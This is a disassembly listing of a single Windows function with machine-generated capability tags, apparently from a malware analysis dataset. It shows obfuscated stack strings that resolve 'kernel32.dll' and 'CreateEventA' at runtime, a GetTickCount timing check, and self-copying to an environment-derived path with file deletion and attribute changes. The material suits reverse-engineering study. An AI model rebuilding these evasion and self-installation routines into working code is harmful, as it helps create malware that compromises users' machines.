Function at 0x100167a0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x228
cmp eax, 1
push ebp
push esi
push edi
jne 0x100169d1
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x74
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x20], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], dl
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x2a], 0x45
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x37a
push 0x10017cd8
mov ebp, eax
call fcn.100163e0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [esp + 0x244]
add esp, 0xc
push 0x104
push 0x10021fe0
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push 0x104
push eax
push 0x10017f4c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
push 0x10017f4c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10021fe0
mov edx, ecx
mov esi, edi
mov edi, 0x10017f4c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1001691a
mov eax, dword [esp + 0x238]
mov dword [0x10021f90], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10021f80], eax
call fcn.1000d8a0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc
push 0x100184a8
push 0
push 0
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.1000c420
push 0x10017f4c
call fcn.100155d0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push 0x10017f4c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, 0x1001847c
lea edi, [esp + 0x130]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x15c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x130]
push ecx
call fcn.10015660
add esp, 4
call fcn.10015930
call fcn.10015b30
push 0x1000
push 0x10017f4c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x10017f4c
push 0x10021fe0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x10017f4c
call fcn.100160a0
add esp, 4
call fcn.100157b0
call fcn.100156f0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc